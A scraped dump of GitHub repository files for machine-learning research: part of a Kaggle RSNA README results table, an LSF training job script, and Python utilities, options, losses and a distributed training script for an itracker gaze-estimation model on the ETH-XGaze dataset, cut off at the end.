/ 0.045 | Incl stage 1 test, `resnextv12/run_train1024lstmdeltattasum.sh` `resnextv12/run_train1024lstmdeltattasum.sh` & `eda/val_lstm_v22.py` |\n| ResNeXt-101 32x8d (v12&v13) with LSTM |480 |5 |LSTM 12X | v12 0 1 2- hflip transpose; v13 0 - hflip |0 1 2 0 1 2 (v12 v13) |0.05699, 0.05866, 0.05642, 0.05696, 0.05844, 0.05588 |0.5703|0.675 / 0.045 | Excl stage 1 test, `resnextv12/run_train1024lstmdeltattasum.sh` `resnextv12/run_train1024lstmdeltattasum.sh` & `eda/val_lstm_v21.py` |\n| ResNeXt-101 32x8d (v12&v13) with LSTM |480 |5 |LSTM 12X | v12 0 1 2- hflip transpose |0 1 2 (v12) |0.05699, 0.05866, 0.05642 |0.5706|0.713 / 0.046 | Excl stage 1 test, `resnextv12/run_train1024lstmdeltattasum.sh` `resnextv12/run_train1024lstmdeltattasum.sh` & `eda/val_lstm_v20.py` |\n \n### Validation and Leaderboard Progress Stage 1\n\n| Model (`.scripts/` folder) |Image Size|Epochs|Bag|TTA |Fold|Val |LB |Comment |\n| ---------------|----------|------|---|----|----|--------|------|---------------------------------|\n| ResNeXt-101 32x8d (v12&v13) with LSTM |480 |5, 5, 5, 5 |LSTM 12X | v12 0 1 2- hflip transpose; v13 0 - hflip |0 1 2 0 (v13) |0.05705 0.05866 0.05645 0.05690 |0.057 | Hidden 2048, bag12 epochs, `resnextv12/run_train1024lstmdeltattasum.sh` `resnextv12/run_train1024lstmdeltattasum.sh` & `eda/val_lstm_v14.py` |\n| ResNeXt-101 32x8d (v12&v13) with LSTM |480 |5, 5, 5, 5, 5 |LSTM 12X | v12 0 1 2- hflip transpose; v13 0 1 - hflip |0 1 2 0 (v13) |0.05687 0.05859 0.05651 0.05685 0.05839 |0.057 | Hidden 2048, bag12 epochs, `resnextv12/run_train1024lstmdeltattasum.sh` `resnextv12/run_train1024lstmdeltattasum.sh` & `eda/val_lstm_v16.py` |\n| ResNeXt-101 32x8d (v12) with LSTM |480 |5, 5, 5 |LSTM 12X | all folds 0-hflip, 1 2 - transpose |0 1 2 |0.05705 0.05866 0.05645 |0.057 | Increase hidden units to 2048, bag12 epochs, `scripts/resnextv12/run_train1024lstmdeltatta.sh` & `eda/val_lstm_v13.py` , bsize 4 patients | \n| ResNeXt-101 32x8d (v12) with LSTM |480 |5 |9X | HFlip TTA on fold0 only|0 1 2 |0.05730 0.05899 0.05681 |0.057 |Concat delta to prev and delta to next, bag9 epochs, `scripts/resnextv12/trainlstmdelta.py` & `eda/val_lstm_v11.py` , bsize 4 patients | \n| ResNeXt-101 32x8d (v12) with LSTM |480 |6 |5X |None|0 |0.0574 |0.059 | Concat delta to prev and delta to next, bag4 epochs, `scripts/resnextv12/trainlstmdelta.py`, bsize 4 patients | \n| ResNeXt-101 32x8d (v11) with LSTM |384 |5, 5, 6 |5X |None|0, 1, 2 |0.05780, 0.05914, 0.05666 |0.059 | 2X LSTM 1024 hidden units, bag4 epochs, `scripts/resnextv11/trainlstmdeep.py` & `eda/val_lstm_v9.py`, bsize 4 patients | \n| ResNeXt-101 32x8d (v12) with LSTM |480 |5 |5X |None|0 |0.05758 |0.059 | 2X LSTM 1024 hidden units, bag4 epochs, `scripts/resnextv12/trainlstmdeep.py`, bsize 4 patients | \n| ResNeXt-101 32x8d (v6) with LSTM |384 |7, 5, 7 |6X, 4X, 6X |None|0, 1, 2 |0.5836, 0.6060, 0.5728 |0.060 | 2X LSTM 256 hidden units, bag4 epochs, `scripts/resnextv11/trainlstmdeep.py`, bsize 4 patients | \n| ResNeXt-101 32x8d (v11) with LSTM |384 |5 |5X |None|0 |0.05780 |0.060 | 2X LSTM 1024 hidden units, bag4 epochs, `scripts/resnextv11/trainlstmdeep.py`, bsize 4 patients | \n| ResNeXt-101 32x8d (v6) with LSTM |384 |7 |5X |None|0 |0.05811 |0.061 | 2X LSTM 256 hidden units, bag4 epochs, `scripts/resnextv6/trainlstmdeep.py`, bsize 4 patients | \n| SEResNeXt-50 32x8d (v3) with LSTM(1024HU) |448 |4 |3X |None|0, 1, 2, 3 |0.05876, 0.06073, 0.05847, 0.06079 |0.061 | 2X LSTM 1024 hidden units, bag8 epochs, `scripts/resnextv6/trainlstmdeep.py`, bsize 4 patients | \n| ResNeXt-101 32x8d (v6) with LSTM |384 |7 |3X |None|0 |0.05844 |0.061 | 2X LSTM 256 hidden units, bag4 epochs, `scripts/resnextv6/trainlstmdeep.py`, bsize 4 patients | \n| ResNeXt-101 32x8d (v8) with LSTM |384 |7 |6X |None|0 |----- |0.062 | 2X LSTM 256 hidden units, bag4 epochs, `scripts/resnextv8/trainlstmdeep.py`, bsize 4 patients | \n| ResNeXt-101 32x8d (v4) with LSTM |256 |7 |5X |None|0 |0.06119 |0.064 | 2X LSTM 256 hidden units, bag4 epochs, `scripts/resnextv4/trainlstmdeep.py`, bsize 4 patients | \n| ResNeXt-101 32x8d (v4) with LSTM |256 |7 |5X |None|0 |0.06217 |0.065 | LSTM 64 hidden units, bag 5 epochs, `scripts/resnextv4/trainlstm.py`, bsize 4 patients |\n| ResNeXt-101 32x8d (v8) |384 |7 |5X |None|5 (all)|----- |0.066 | Weighted `[0.6, 1.8, 0.6]` rolling mean win3, transpose, `submission_v6.py`, bsize 128 |\n| ResNeXt-101 32x8d (v8) |384 |7 |4X |None|5 (all)|----- |0.067 | Weighted `[0.6, 1.8, 0.6]` rolling mean win3, transpose, `submission_v6.py`, bsize 128 |\n| ResNeXt-101 32x8d (v6) |384 |7 |5X |None|0 |0.06336 |0.068 | Weighted `[0.6, 1.8, 0.6]` rolling mean win3, transpose, `submission_v5.py`, bsize 32 |\n| ResNeXt-101 32x8d (v4) |256 |7 |5X |None|0 |0.06489 |0.070 | Weighted `[0.6, 1.8, 0.6]` rolling mean win3, transpose, `submission_v4.py`, bsize 64 |\n| ResNeXt-101 32x8d (v4) |256 |7 |5X |None|0 |0.06582 |0.070 |Rolling mean window 3, transpose, `submission_v3.py`, bsize 64|\n| ResNeXt-101 32x8d (v4) |256 |4 |3X |None|0 |0.06874 |0.074 |Rolling mean window 3, transpose, `submission_v3.py`, bsize 64 |\n| EfficientnetV0 (v8) |256 |6 |3X |None|0 |0.07416 |0.081 |Rolling mean window 3, no transpose, `submission_v2.py`, bsize 64 |\n| EfficientnetV0 (v8) |384 |4 |2X |None|0 |0.07661 |0.085 |With transpose augmentation |\n| LSTM on logits from ResNeXt-101 32x8d (v4) |256 |3 |3X |None|0 |0.063 |0.082 | LSTM on sequence of patients logits, bsize 4 patients |\n| EfficientnetV0 (v8) |384 |2 |1X |None|0 |0.07931 |0.088 |With transpose augmentation |\n| EfficientnetV0 (v8) |384 |11 |2X |None|0 |0.08330 |0.093 |With transpose augmentation |\n| EfficientnetV0 |224 |4 |2X |None|0 |0.08047 |???? |Without transpose augmentation |\n| EfficientnetV0 |224 |4 |2X |None|0 |0.08267 |???? |With transpose augmentation |\n| EfficientnetV0 |224 |2 |1X |None|0 |0.08519 |???? |With transpose augmentation |\n| EfficientnetV0 |224 |11 |2X |None|0 |0.08607 |???? |With transpose augmentation |\n" }, { "alpha_fraction": 0.6084821224212646, "alphanum_fraction": 0.65625, "avg_line_length": 64.88235473632812, "blob_id": "0cc0bd9f8678cbaed2b75f26942d493a7fb2ad5b", "content_id": "f55f7c26f73ecb854a0c8bc3384567779ef1837a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2240, "license_type": "no_license", "max_line_length": 147, "num_lines": 34, "path": "/bin/lsf/run_21_trainsngl_e2e.sh", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "N_GPU=4\nWDIR='resnext101v03'\nFOLD=6\nSIZE='480'\n\n# Run image classifier for all with cropping (~20 hours)\nbsub -q lowpriority -gpu \"num=$N_GPU:mode=exclusive_process\" -app gpu -n =$N_GPU -env LSB_CONTAINER_IMAGE=darraghdog/kaggle:apex_build \\\n -m dbslp1828 -n 1 -R \"span[ptile=4]\" -o log_train_%J sh -c \"cd /share/dhanley2/submit/rsna/ && python3 scripts/trainorig.py \\\n --logmsg Rsna-lb-$SIZE-fp16 --start 0 --epochs 3 --fold $FOLD --lr 0.00002 --batchsize 64 --workpath scripts/$WDIR \\\n --imgpath data/proc/ --size $SIZE --weightsname weights/model_512_resnext101$FOLD.bin --autocrop T\"\n\n# Extract embeddings for each epoch - no TTA (~15 hours)\nbsub -q lowpriority -gpu \"num=$N_GPU:mode=exclusive_process\" -app gpu -n =$N_GPU -env LSB_CONTAINER_IMAGE=darraghdog/kaggle:apex_build \\\n -m dbslp1829 -n 1 -R \"span[ptile=4]\" -o log_train_%J sh -c \"cd /share/dhanley2/submit/rsna/ && python3 scripts/trainorig.py \\\n --logmsg Rsna-lb-$SIZE-fp16 --start 0 --epochs 3 --fold $FOLD --lr 0.00002 --batchsize 64 --workpath scripts/$WDIR \\\n --hflip F --transpose F --infer EMB --imgpath data/proc/ --size $SIZE \\\n --weightsname weights/model_512_resnext101$FOLD.bin\"\n\n\n# Run LSTM for each of the epochs (~2 hours)\nN_GPU=1\n# These steps can run in parallel\nfor GEPOCH in 0 1 2 \ndo \nbsub -q lowpriority -gpu \"num=$N_GPU:mode=exclusive_process\" -app gpu -n =$N_GPU -env LSB_CONTAINER_IMAGE=darraghdog/kaggle:apex_build \\\n -m dbslp1828 -n 1 -R \"span[ptile=4]\" -o log_train_%J sh -c \"cd /share/dhanley2/submit/rsna/ && python3 scripts/trainlstm.py \\\n --logmsg Rsna-lstm-$GEPOCH-$FOLD-fp16 --epochs 12 --fold $FOLD --lr 0.00001 --batchsize 4 --workpath scripts/$WDIR \\\n --size $SIZE --ttahflip F --ttatranspose F --lrgamma 0.95 --nbags 12 --globalepoch $GEPOCH --loadcsv F --lstm_units 2048\"\ndone\n\n\n# Create Bagged Submission\nbsub -q lowpriority -gpu \"num=$N_GPU:mode=exclusive_process\" -app gpu -n =$N_GPU -env LSB_CONTAINER_IMAGE=darraghdog/kaggle:apex_build \\\n -m dbslp1828 -n 1 -R \"span[ptile=4]\" -o log_train_%J sh -c \"cd /share/dhanley2/submit/rsna/ && python3 scripts/bagged_submission.py\"\n" } ]
15
Kihensarn/itracker_preprocessed_image
https://github.com/Kihensarn/itracker_preprocessed_image
bbc721ec8196e7e34a7c1dc75df46c6fece5e385
fa158920bdf2946ee7aff1cd105a50fc57a4ff4f
2d7366b079794de66f7e54e48211d00dc5385b53
refs/heads/main
2023-06-24T06:44:21.904279
2021-07-26T09:37:16
2021-07-26T09:37:16
389,565,553
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.44021740555763245, "alphanum_fraction": 0.47084981203079224, "avg_line_length": 31.661291122436523, "blob_id": "dc081053831d4392dc96d9043ff2265c98a5e42c", "content_id": "37cc34f70cd89b818246b3d0681cbdb8840157ad", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2024, "license_type": "permissive", "max_line_length": 120, "num_lines": 62, "path": "/utils/drawing.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import numpy as np\nimport cv2\n\n\n_colors = {\n 'red': (255, 0, 0),\n 'green': (0, 255, 0),\n 'blue': (0, 0, 255)\n}\n\n\ndef draw_bbox(img, bbox, color='red'):\n if isinstance(color, str):\n color = _colors[color]\n\n x1, y1, x2, y2 = bbox\n src = (int(x1), int(y1))\n des = (int(x2), int(y2))\n img = cv2.rectangle(img.copy(), src, des, color, 2)\n return img\n\n\nclass ImageDisplay(object):\n def __init__(self, row, col):\n self.num_i = 0\n self.img_size = 250\n self.img_show = np.zeros((self.img_size * row, self.img_size * col, 3), dtype=np.uint8) # initial a empty image\n self.col = col\n self.row = row\n self.is_show = True\n\n def show_image(self, input_image):\n if self.is_show:\n cv2.namedWindow(\"image\")\n\n num_r = self.num_i // self.col\n num_c = self.num_i - num_r * self.col\n\n input_image = cv2.resize(input_image, (self.img_size, self.img_size))\n\n if self.num_i < self.row * self.col:\n self.img_show[self.img_size * num_r:self.img_size * (num_r + 1),\n self.img_size * num_c:self.img_size * (num_c + 1)] = input_image\n\n self.num_i = self.num_i + 1\n if self.num_i >= self.row * self.col:\n while True:\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(self.img_show, 'Please press L to the next sample, and ESC to exit', (10, 30),\n font, 1.0, (0, 255, 0), 2, cv2.LINE_AA)\n\n cv2.imshow('image', self.img_show)\n input_key = cv2.waitKey(0)\n if input_key == 27: # ESC key to exit\n cv2.destroyAllWindows()\n self.is_show = False\n break\n elif input_key == 108: # l key to the next\n self.num_i = 0\n break\n else:\n continue" }, { "alpha_fraction": 0.5390640497207642, "alphanum_fraction": 0.551717221736908, "avg_line_length": 43.864864349365234, "blob_id": "d13762065ac717a28cc384e8d3631b518f24ba61", "content_id": "a1d8807209a7b27864731419fb0aed756041a790", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4979, "license_type": "permissive", "max_line_length": 117, "num_lines": 111, "path": "/options/train_options.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import os\nimport argparse\nfrom pathlib import Path\n\nfrom utils.io import save_json, load_configs\n\n\nclass Options:\n def __init__(self):\n parser = argparse.ArgumentParser(description='Gaze')\n\n # yaml file\n parser.add_argument('--yaml', type=str, default='../options/configs/train_itracker_mhsa.yaml',\n help='if not none, all setting will be loaded from yaml file')\n\n # data settings\n parser.add_argument('--data-dir', type=str, default='/home/data/wjc_data/xgaze_224',\n help='dataset dir (default: /home/data/wjc_data/xgaze_224)')\n\n # model params\n # parser.add_argument('--backbone', type=str, default='resnet50',\n # help='network model type (default: resnet50)')\n # parser.add_argument('--pretrained', action='store_true',\n # default=True, help='load pretrianed mode')\n parser.add_argument('--model', type=str, default='iTracker',\n help='model name (default: iTracker')\n\n # training params\n parser.add_argument('--batch-size', type=int, default=64, metavar='N',\n help='batch size for training (default: 64)')\n parser.add_argument('--epochs', type=int, default=25, metavar='N',\n help='number of epochs to train (default: 25)')\n parser.add_argument('--start-epoch', type=int, default=0,\n metavar='N', help='the epoch number to start (default: 1)')\n parser.add_argument('--workers', type=int, default=8,\n metavar='N', help='dataloader threads')\n parser.add_argument('--resume', default=False,\n help='Resume training from last saved checkpoint.')\n parser.add_argument('--last-epoch', type=int, default=-1,\n help='Resume training from last epoch checkpoint.')\n\n # eval params\n parser.add_argument('--eval', default=True)\n parser.add_argument('--eval-batch-size', type=int, default=64, metavar='N',\n help='batch size for testing (default: 64)')\n # parser.add_argument('--eval-dist', action='store_true', default=False)\n\n # loss\n parser.add_argument('--loss', type=str, default='l1',\n help='loss type (default: l1)')\n\n # optimizer\n parser.add_argument('--lr', type=float, default=0.0001, metavar='LR',\n help='learning rate (default: 0.0001)')\n parser.add_argument('--weight-decay', type=float, default=1e-4,\n metavar ='M', help='SGD weight decay (default: 1e-4)')\n\n # scheduler\n parser.add_argument('--step-size', type=int, default=10,\n help='step size (default: 10)')\n parser.add_argument('--lr-decay-factor', type=float, default=0.1,\n help='lr decay factor (default: 0.1)')\n\n # seed\n parser.add_argument('--seed', type=int, default=1, metavar='S',\n help='random seed (default: 1)')\n\n # checking point\n parser.add_argument('--ckpt_dir', type=str, default='runs',\n help='Root of checkpoints folder.')\n parser.add_argument('--checkname', type=str, default='default',\n help='set the checkpoint name')\n\n # distributed\n parser.add_argument('--nodes', default=1, type=int,\n help='number of nodes for distributed training')\n parser.add_argument('--rank', default=0, type=int,\n help='node rank for distributed training')\n parser.add_argument('--dist-url', default='tcp://localhost:23456', type=str,\n help='url used to set up distributed training')\n parser.add_argument('--dist-backend', default='nccl', type=str,\n help='distributed backend')\n\n # log\n parser.add_argument('--log_dir', type=str, default='/home/wjc/PycharmProjects/MyGazeProject/results/log_dir')\n parser.add_argument('--fresh-per-iter', type=int, default=100)\n\n # debug\n parser.add_argument('--debug', action='store_true', default=False)\n\n self.parser = parser\n\n def parse(self, save_configs=True):\n args = self.parser.parse_args()\n if args.yaml is not None:\n args_dict = load_configs(args.yaml)\n args = argparse.Namespace(**args_dict)\n\n if args.log_dir is not None:\n log_dir_path = Path(args.log_dir)\n if not log_dir_path.is_dir():\n log_dir_path.mkdir(parents=True)\n\n config_fn = os.path.join(args.log_dir, 'opt.json')\n save_json(config_fn, args.__dict__)\n return args\n\nif __name__ == '__main__':\n args = Options().parse()\n args.haha = 1\n print(args.haha)" }, { "alpha_fraction": 0.6454994082450867, "alphanum_fraction": 0.6454994082450867, "avg_line_length": 25.606557846069336, "blob_id": "7c7c8f9411b9c551f5ff67fe9454d3cc779f62f9", "content_id": "6d353c4dc6c708044edf417e3b98766add7ca4c1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1622, "license_type": "permissive", "max_line_length": 92, "num_lines": 61, "path": "/utils/io.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import os\nimport json\nimport torch\nimport yaml\nimport numpy as np\nimport shutil\nfrom pathlib import Path\n\n\ndef load_json(file_path):\n with open(file_path, 'r') as f:\n return json.load(f)\n\n\ndef save_json(file_path, data):\n with open(file_path, 'w') as f:\n json.dump(data, f)\n\n\ndef save_model(state, is_best, path):\n model_dir = Path(path)\n if not model_dir.is_dir():\n model_dir.mkdir(parents=True)\n\n model_path = model_dir.joinpath('model_{}.pth.tar'.format(state['epoch']))\n if not model_path.is_file():\n torch.save(state, str(model_path))\n\n if is_best:\n best_model_path = model_dir.joinpath('best_model_{}.pth.tar'.format(state['epoch']))\n shutil.copyfile(str(model_path), str(best_model_path))\n\n\ndef load_model(model_name, path):\n model_dir = Path(path)\n if not model_dir.is_dir():\n print('invalidate model path')\n return None\n model_path = model_dir / model_name\n if not model_path.is_file():\n print('not such a model')\n return None\n state = torch.load(str(model_path), map_location='cpu')\n return state\n\n\ndef load_configs(yaml_fn):\n with open(yaml_fn, 'r') as f:\n return yaml.load(f)\n\n\ndef save_results(res):\n np.savetxt('within_eva_results.txt', res, delimiter=',')\n\n if os.path.exists('submission_within_eva.zip'):\n os.system('rm submission_within_eva.zip')\n\n os.makedirs('submission_within_eva')\n os.system('mv within_eva_results.txt ./submission_within_eva')\n os.system('zip -r submission_within_eva.zip submission_within_eva')\n os.system('rm -rf submission_within_eva')" }, { "alpha_fraction": 0.44102564454078674, "alphanum_fraction": 0.6717948913574219, "avg_line_length": 15.25, "blob_id": "0d71196a2f8417b82454c4fc1a3b45833581c16f", "content_id": "a82b06e6c5d15d4f6cb08d57a6d04f46a6260bce", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 195, "license_type": "permissive", "max_line_length": 24, "num_lines": 12, "path": "/requirements.txt", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "h5py==3.3.0\ntorchvision==0.8.1+cu101\nvisdom.egg==info\nloguru==0.5.3\nscipy==1.7.0\nopencv_python==4.5.2.54\ntorch==1.7.0+cu101\nnumpy==1.21.0\ntimm==0.4.12\nPillow==8.3.1\nPyYAML==5.4.1\nvisdom==0.1.8.9\n" }, { "alpha_fraction": 0.5839250087738037, "alphanum_fraction": 0.6185742616653442, "avg_line_length": 33.861385345458984, "blob_id": "0ab0615f67b81773b479ae20efa99cc56391aedf", "content_id": "b05248b255c05b3394058234f173729fe2e4d019", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3827, "license_type": "permissive", "max_line_length": 330, "num_lines": 101, "path": "/README.md", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "# itracker_high_resolution_image\n## Introduction\nThis project is also to learn about the process of gaze estimation. Among this project, the model is based on itracker and the dataset is ETH-Xgaze dataset. Meanwhile, the preprocessed data comes from [VIPL-TAL-GAZE/GAZE2021](https://github.com/VIPL-TAL-GAZE/GAZE2021), which are more precise than the data preprocessed by myself.\n## Requirements\n* **Python** == 3.8\n* **Torch** == 1.7.0+cu101\n* **Visdom** == 0.1.8.9 \n\nMore details in [requirements.txt](itracker_preprocessed_image/requirements.txt) file.\n## File Structure\n* **data** \nThis directory contains the files to process the dataset.\n* **model** \nThis directory contains various backbone networks, such as resnet, deit, mobilenet and so on. Meanwhile, it also contains the model we use to estimate the 3D gaze vector.\n* **options** \nThis directory contians several config file, which set hyperparameters, data path, model path and so on.\n* **utils** \nThis directory contains some useful files such as loss.py, logger.py, module.py.These file can be used to evaluate the results and record the log and so on.\n* **scripts** \nThis directory contains some files to train or test the model.\n* **results** \nThis directory stores the checkpoints and log file.\n* **dataset** \nThis directory stores the preprocessed data. Detailed file structure is showed below.\n```\n├── dataset\t\t\n│ ├── train\n│ │ ├── subject0000\n│ │ │ ├── face\n│ │ │ | ├── 000000.jpg\n│ │ │ | ├── 000001.jpg\n│ │ │ | ├── ... \n│ │ │ ├── left_eye\n│ │ │ | ├── 000000.jpg\n│ │ │ | ├── 000001.jpg\n│ │ │ | ├── ... \n│ │ │ ├── right_eye\n│ │ │ | ├── 000000.jpg\n│ │ │ | ├── 000001.jpg\n│ │ │ | ├── ... \n│ │ ├── ...\n│ ├── test\n│ │ ├── subject0001\n│ │ │ ├── face \n│ │ │ ├── left_eye\n│ │ │ ├── right_eye\n│ │ ├── ...\n│ ├── val\n│ │ ├── subject0003\n│ │ │ ├── face \n│ │ │ ├── left_eye\n│ │ │ ├── right_eye\n│ │ ├── ...\n```\n## Results\n model | train_error | val_error | test_error | test_error_std\n ---- | ----- | ------ | ------ | ------ \n itracker_preprocessed_image | 1.4662 | 5.1491 | 5.3161 | 5.2669\n## Usage\nPrepare the ETH-Xgaze dataset\n```\npython prepareXgaze.py --dataset_path [source dataset path] --outer_dataset_path [the directory to store preprocessed data]\n```\nTrain itracker model\n```\npython train_ddp.py\n```\nTest itracker model\n```\npython test.py \n```\n## Citation\nFor itracker model, please cite:\n```\n@inproceedings{cvpr2016_gazecapture,\nAuthor = {Kyle Krafka and Aditya Khosla and Petr Kellnhofer and Harini Kannan and Suchendra Bhandarkar and Wojciech Matusik and Antonio Torralba},\nTitle = {Eye Tracking for Everyone},\nYear = {2016},\nBooktitle = {IEEE Conference on Computer Vision and Pattern Recognition (CVPR)}\n}\n```\nFor ETH-Xgaze dataset, please cite:\n```\n@inproceedings{Zhang2020ETHXGaze,\n author = {Xucong Zhang and Seonwook Park and Thabo Beeler and Derek Bradley and Siyu Tang and Otmar Hilliges},\n title = {ETH-XGaze: A Large Scale Dataset for Gaze Estimation under Extreme Head Pose and Gaze Variation},\n year = {2020},\n booktitle = {European Conference on Computer Vision (ECCV)}\n}\n```\nFor preprocessed image and code, please cite:\n```\n@misc{cai2021gaze,\n title={Gaze Estimation with an Ensemble of Four Architectures}, \n author={Xin Cai and Boyu Chen and Jiabei Zeng and Jiajun Zhang and Yunjia Sun and Xiao Wang and Zhilong Ji and Xiao Liu and Xilin Chen and Shiguang Shan},\n year={2021},\n eprint={2107.01980},\n archivePrefix={arXiv},\n primaryClass={cs.CV}\n}\n```\n" }, { "alpha_fraction": 0.5620892643928528, "alphanum_fraction": 0.5856105089187622, "avg_line_length": 26.00934600830078, "blob_id": "86835ef1fdab5168d29653825f3d635d9aadf5b7", "content_id": "4f5e2f346226e332ea9e9cfb73750d289b29679e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2891, "license_type": "permissive", "max_line_length": 96, "num_lines": 107, "path": "/utils/losses.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport numpy as np\n\n\ndef get_loss(loss_name):\n\n if loss_name == 'l1':\n return nn.L1Loss()\n elif loss_name == 'mse':\n return nn.MSELoss()\n elif loss_name == 'smoothl1':\n return nn.SmoothL1Loss()\n elif loss_name == 'angular':\n return AngularLoss()\n else:\n raise ValueError\n\n\nclass AngularLoss(nn.Module):\n\n _to_degrees = 180. / np.pi\n\n def __init__(self):\n super(AngularLoss, self).__init__()\n\n def pitchyaw_to_vector(self, a):\n if a.shape[1] == 2:\n sin = torch.sin(a)\n cos = torch.cos(a)\n return torch.stack([cos[:, 0] * sin[:, 1], sin[:, 0], cos[:, 0] * cos[:, 1]], dim=1)\n else:\n raise ValueError('Do not know how to convert tensor of size %s' % a.shape)\n\n def forward(self, a, b):\n a = self.pitchyaw_to_vector(a)\n b = self.pitchyaw_to_vector(b)\n sim = F.cosine_similarity(a, b, dim=1, eps=1e-8)\n sim = F.hardtanh_(sim, min_val=-1+1e-8, max_val=1-1e-8)\n return torch.mean(torch.acos(sim) * self._to_degrees)\n\n\ndef pitchyaw_to_vector(a):\n sin = torch.sin(a)\n cos = torch.cos(a)\n return torch.stack([cos[:, 0] * sin[:, 1], sin[:, 0], cos[:, 0] * cos[:, 1]], dim=1)\n\n\ndef get_angular_errors(a, b):\n a = pitchyaw_to_vector(a)\n b = pitchyaw_to_vector(b)\n sim = F.cosine_similarity(a, b, dim=1, eps=1e-8)\n sim = F.hardtanh_(sim, min_val=-1 + 1e-8, max_val=1 - 1e-8)\n return torch.acos(sim) * 180. / np.pi\n\n\ndef get_rsn_loss(pos_scores, neg_scores, pos_gaze, neg_gaze, gaze_gt, delta=3.):\n \"\"\"\n region selection network loss\n :param pos_scores: N x M x 1\n :param neg_scores: N x M x 1\n :param pos_error: 1\n :param neg_error: 1\n :param delta:\n :return:\n \"\"\"\n N = pos_scores.shape[0]\n prob_pos = pos_scores.view(N, -1).prod(dim=-1)\n prob_neg = neg_scores.view(N, -1).prod(dim=-1)\n\n prob_ratio = prob_pos / prob_neg\n\n delta = torch.tensor(delta, dtype=prob_ratio.dtype, device=prob_ratio.device)\n prob_ratio = torch.min(prob_ratio, delta)\n\n pos_error = get_angular_errors(pos_gaze, gaze_gt)\n neg_error = get_angular_errors(neg_gaze, gaze_gt)\n error_ratio = neg_error / pos_error\n rsn_loss = F.l1_loss(prob_ratio, error_ratio)\n return rsn_loss\n\n\ndef get_ohem_loss(pred, gt, keep_num=20):\n batch_size = pred.shape[0]\n ohem_l1 = F.l1_loss(pred, gt, reduction='none').sum(dim=1)\n\n sorted_ohem_l1, idx = torch.sort(ohem_l1, descending=True)\n keep_num = min(batch_size, keep_num)\n keep_idx = idx[:keep_num]\n\n ohem_l1 = ohem_l1[keep_idx]\n ohem_loss = ohem_l1.sum() / keep_num\n return ohem_loss, keep_idx\n\n\nif __name__ == \"__main__\":\n\n criterion = get_loss('angular')\n\n a = torch.randn(8, 2)\n b = torch.randn(8, 2)\n\n loss = criterion(a, b)\n\n print(loss)\n\n" }, { "alpha_fraction": 0.6219648718833923, "alphanum_fraction": 0.6230855584144592, "avg_line_length": 27.17894744873047, "blob_id": "951e8e6c25749b13f9f5e2df719b9e3f11a0ba97", "content_id": "e487fc11c75080399896ad8bf63643d3bc0d5458", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2677, "license_type": "permissive", "max_line_length": 77, "num_lines": 95, "path": "/scripts/train_ddp.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import os\nimport numpy as np\nimport torch\nimport torch.distributed as dist\nimport torch.multiprocessing as mp\n\nfrom torch.backends import cudnn\nfrom utils.logger import my_logger\n\nimport sys\nsys.path.append('../../MyGazeProject')\n\nfrom options.train_options import Options\nfrom data.xgaze_dataset import get_data_loader\nfrom utils.modules import Trainer\nfrom utils.logger import my_logger,my_visdom\n\n\ndef main():\n args = Options().parse()\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.cuda_visable_device\n ngpus_per_node = torch.cuda.device_count()\n\n args.world_size = ngpus_per_node * args.nodes\n mp.spawn(main_worker, nprocs=ngpus_per_node, args=(ngpus_per_node, args))\n\n\ndef main_worker(gpu, ngpus_per_node, args):\n args.gpu = gpu\n args.rank = args.rank * ngpus_per_node + gpu\n print('rank: {} / {}'.format(args.rank, args.world_size))\n dist.init_process_group(backend=args.dist_backend,\n init_method=args.dist_url,\n world_size=args.world_size,\n rank=args.rank)\n torch.cuda.set_device(args.gpu)\n\n #set the random seed\n np.random.seed(args.seed + args.rank)\n torch.manual_seed(args.seed + args.rank)\n torch.cuda.manual_seed(args.seed + args.rank)\n\n #faster and less reproducible\n cudnn.deterministic = False\n cudnn.benchmark = True\n\n train_loader = get_data_loader(\n args.data_dir,\n args.batch_size,\n image_scale=args.image_scale,\n mode='train',\n num_workers=args.workers,\n distributed=True,\n debug=args.debug\n )\n\n if args.eval:\n eval_loader = get_data_loader(\n args.data_dir,\n args.eval_batch_size,\n image_scale=args.image_scale,\n mode='eval',\n num_workers=args.workers,\n distributed=args.eval_dist,\n debug=args.debug\n )\n else:\n eval_loader = None\n\n if args.gpu == 0:\n vis = my_visdom()\n logger = my_logger(args)\n else:\n vis = None\n logger =None\n\n trainer = Trainer(args)\n\n epoch_st = 0\n if args.resume or args.load_ckpt:\n # trainer.eval(args.last_epoch, eval_loader, logger, vis)\n epoch_st = args.last_epoch + 1\n\n for epoch in range(epoch_st, args.epochs):\n train_loader.batch_sampler.sampler.set_epoch(epoch)\n\n trainer.train_one_epoch(epoch, train_loader, logger, vis)\n trainer.sync_all_devices()\n trainer.eval(epoch, eval_loader, logger, vis)\n trainer.update_scheduler()\n\n\nif __name__ == '__main__':\n # os.environ['PYTHONWARNINGS'] = 'ignore:semaphore_tracker:UserWarning'\n main()\n" }, { "alpha_fraction": 0.6104516983032227, "alphanum_fraction": 0.6155890226364136, "avg_line_length": 42.08015441894531, "blob_id": 